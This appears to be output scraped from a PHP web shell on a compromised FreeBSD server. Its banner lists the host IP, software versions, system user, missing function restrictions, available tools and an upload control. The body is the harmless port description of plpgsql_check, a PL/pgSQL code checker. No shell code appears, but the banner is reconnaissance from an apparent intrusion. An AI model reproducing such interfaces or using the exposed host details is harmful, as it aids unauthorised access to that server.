| Server IP : 82.208.35.60 / Your IP : 216.73.216.89 Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31 System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64 User : studiokobylisy_cz ( 1008) PHP Version : 7.3.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /usr/ports/databases/plpgsql_check/ |
Upload File : |
plpgsql_check is next generation of plpgsql_lint. It allows to check source code by explicit call plpgsql_check_function. PostgreSQL 9.4, 9.5, 9.6, 10, 11 are supported (Develop 12 is supported too). The SQL statements inside PL/pgSQL functions are checked by validator for semantic errors. These errors can be found by plpgsql_check_function. Features: - check fields of referenced database objects and types inside embedded SQL - using correct types of function parameters - unused variables and function argumens, unmodified OUT argumens - partially detection of dead code (due RETURN command) - detection of missing RETURN command in function - try to identify unwanted hidden casts, that can be performance issue like unused indexes - possibility to collect relations and functions used by function - possibility to check EXECUTE stmt agaist SQL injection vulnerability